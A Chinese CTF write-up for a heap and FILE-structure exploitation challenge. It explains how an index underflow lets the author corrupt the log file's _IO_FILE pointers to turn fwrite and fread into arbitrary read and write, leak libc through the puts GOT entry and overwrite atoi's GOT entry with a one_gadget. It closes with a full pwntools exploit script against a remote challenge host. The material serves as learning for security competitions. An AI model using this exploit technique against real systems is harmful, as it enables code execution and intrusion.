一
这道题我花了很长时间依照大佬的Writeup的思想才写出来,这道题主要是需要认识到如何修改FILE结构的内容然后利用fread和fwrite进行任意写,任意读的操作。
(博主还是菜鸟,有些知识可能理解不够透彻,有些表述可能不够严谨,欢迎大家指正,望大家多多包涵)
二
程序保护信息:
main函数里有一个init函数,打开了一个文件:
由于PIE没开,我们开以知道存放文件指针的log_file
的地址。
之后是菜单:
1
是创建一个这样的结构:
2
是一系列的操作:其中在这个地方是可以往低处溢出的。
简单的查看可以得知当v2为-2时正好到log_file
的位置。
接下来是几个很关键的操作(其中v3 = wizards[v2],v4为栈上某处):
write_spell
是将my_read读取的(最多0x20个)字符写到log_file
里,而read_spell
是接着从log_file
里读出(最多0x20个)字符并打印出来。
这里其实就应该想到如何利用log_file
的文件结构来解题了,可是我之前并没有接触太多这方面的东西,所以我并不熟悉怎样来利用,而且CTF-Wiki对这方面的介绍我个人感觉并不是特别全面,所以只好去看大佬的Writeup。
这里我们按照正常思路来考虑就是先泄露libc的基址,而由上一张图片可知:程序可以修改log_file+40
的地方,调试后可知:
正好修改的是_IO_write_ptr
的数据
而实现fwrite
的任意写需要使_IO_write_ptr
指向需要写入的部分(_IO_write_end
指向写入部分的结尾处),另外,由于程序在调用fwrite
函数之后很快又调用了fread
函数,所以为了防止出现程序中断的错误,最好不要修改log_file
的_IO_FILE
结构的数据。
又因为fwrite
调用的函数_IO_new_file_xsputn
里有这样一句(count应该是输出字符数):
所以要想修改_IO_read_ptr
和_IO_read_end
达到任意读的目的来读取got表的值进而获得libc的基址,需要反复运行程序里的wizard_spell
函数修改log_file
的_IO_write_ptr
段。
这里我这样操作:
create()
spell(0, '\x00')
for x in range(10):
spell(-2, '\x00')
spell(-2, '\x00')
spell(-2, '\x00' * 8)
spell(-2, '\x00')
spell(-2, '\x00' * 9)
# 这里就需要反复去调试看有没有出现问题,当然如果有能力直接计算出最优的方法那就更好了。
# 这里最终将_IO_write_ptr改到了log_file-0x10的位置。
接下来就是准备覆盖_IO_read_ptr
和_IO_read_end
部位了。
下面代码都没有直接修改wizards[-2]
(也就是log_file
)的信息,因为如果按照之前的方法修改,_IO_write_ptr
会往更低的位置去,这样就没办法再次利用了
注意:wizards[0]
只能利用16次
spell(0, p64(0) + p64(0x231) + p64(0xfbad24a8))
''' 这里0x231是malloc_chunk的size位,而0xfbad24a8在我进行的调试里都是一样大小(Ubuntu16.04)
注意:这里本可以输入0x20大小的数据,但是不能这个时候修改_IO_read_ptr为puts_got,这样会报错,
暂时还不知道为什么 ╮(╯-╰)╭ '''
spell(0, p64(puts_got) + p64(puts_got + 0x100))
# 这里输入puts_got + 0x100的原因是需要“能够输出的部分”足够大,因为每次读取都需要0x20的数据,如果_IO_read_end - _IO_read_ptr过小,会使得fread里的函数重新更新缓冲区的信息,会修改二者的值。
获取了libc基址后因为got表是可以修改的,所以我打算修改atoi
的got表。
而要想修改got表,关键是把_IO_write_ptr
,_IO_write_end
改到我需要改的地方去。
前面正好改到了_IO_read_end
的位置,很自然的我会想到直接去修改它下面有关write
的指针。
但是这样并不能起作用,我之前在想为什么不能这样修改,我主要参考的Writeup并没有说明原因,还是看了另一个大佬的Writeup才明白的:
通过对分析fwrite
调用的_IO_new_file_xsputn
函数分析可知,在_IO_write_end
>_IO_write_ptr
的情况下会执行这个语句
所以即使直接修改了_IO_write_ptr
段的数据,这里的赋值语句还是会将它改回正常的情况。
因此这里就利用fread
的“任意写”来达到目标
- 设置_IO_buf_base为write_s,_IO_buf_end为write_end(_IO_buf_end-_IO_buf_base要大于0)
- flag位不能含有4(_IO_NO_READS),_fileno要为0。(最好就直接使用原本的flag)
- 设置_IO_read_end等于_IO_read_ptr。
_IO_new_file_underflow中在执行系统调用之前会设置一次FILE指针,将
_IO_read_base、_IO_read_ptr、fp->_IO_read_end、_IO_write_base、IO_write_ptr全部设置为_IO_buf_base。
为了使_IO_read_ptr
等于_IO_read_end
并且改_IO_buf_base
和_IO_buf_end
,我们需要先获得堆的基址,再用这个基址加上一大段偏移用来覆盖与write
有关的指针(我觉得这里应该是为了让fwrite
正常工作)。
spell(-2, p64(0) + p64(0))
spell(0, '\x00' * 2 + p64(0x231) + p64(0xfbad24a8))
spell(0, p64(log_file_add) + p64(puts_got + 0x100))
heap_add = u64(p.recv(8)) # 这里我获取的并不是程序的heap的基址,不过也是非常接近的
spell(0, p64(0) + p64(heap_add + 0x48) + p64(0) + p64(heap_add + 0x48))
spell(0, p64(0x602110) + p64(0x602110 + 0x100))
'''这里的0x602110不刚好是got表那里,而是更大地址的地方,我调试的时候发现改成got表区域会报错,
也不清楚是什么原因'''
OK,然后调整_IO_write_ptr
到atoi
的got表那里就好了
spell(-2, '\x00')
spell(-2, '\x00')
spell(-2, '\x00')
spell(0, '\x00' * 4 + p64(libc_base + one_gadget_offset))
(这里我用了one_gadget
,这种方法局限性比较大,而且说实话也有点碰运气的感觉,其实更通用的方法应该是修改为system
的地址,因为在程序读取菜单选项的时候有这么两句:
很明显可以输入sh
获取shell
)
完整脚本
# -*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
p = remote('220.249.52.133', 00000)
puts_got = 0x602020
log_file_add = 0x6020e0
one_gadget_offset = 0xf1147
def spell(index, data):
p.sendlineafter('>> ', '2')
p.sendlineafter('spell:', str(index))
p.sendafter('name:', data)
def create():
p.sendlineafter('>> ', '1')
p.sendlineafter('name:', 'AAAAAAA')
create()
spell(0, '\x00')
for x in range(10):
spell(-2, '\x00')
spell(-2, '\x00')
spell(-2, '\x00' * 8)
spell(-2, '\x00')
spell(-2, '\x00' * 9)
spell(0, p64(0) + p64(0x231) + p64(0xfbad24a8))
spell(0, p64(puts_got) + p64(puts_got + 0x100)) # 必须足够大
puts_add = u64(p.recv(6) + '\x00\x00')
obj = LibcSearcher("puts", puts_add)
libc_base = puts_add - obj.dump('puts')
spell(-2, p64(0) + p64(0))
spell(0, '\x00' * 2 + p64(0x231) + p64(0xfbad24a8))
spell(0, p64(log_file_add) + p64(puts_got + 0x100)) # p64(log_file_add + 0x40))
heap_add = u64(p.recv(8))
print 'puts_add:', hex(puts_add), 'heap_base:', hex(heap_add)
spell(0, p64(0) + p64(heap_add + 0x48) + p64(0) + p64(heap_add + 0x48))
spell(0, p64(0x602110) + p64(0x602110 + 0x100))
spell(-2, '\x00')
spell(-2, '\x00')
spell(-2, '\x00')
spell(0, '\x00' * 4 + p64(libc_base + one_gadget_offset))
p.sendline('2')
p.interactive()
三
这道题主要是考察对FILE
结构这一块的知识的运用,而且比较麻烦,需要考虑的情况比较多,经常要翻阅glibc的源代码,而且现在我对这方面还是没有比较系统的学习,理解不深,如果有时间我会去研究一下_IO_FILE
结构和fwrite
,fread
和scanf
的源代码。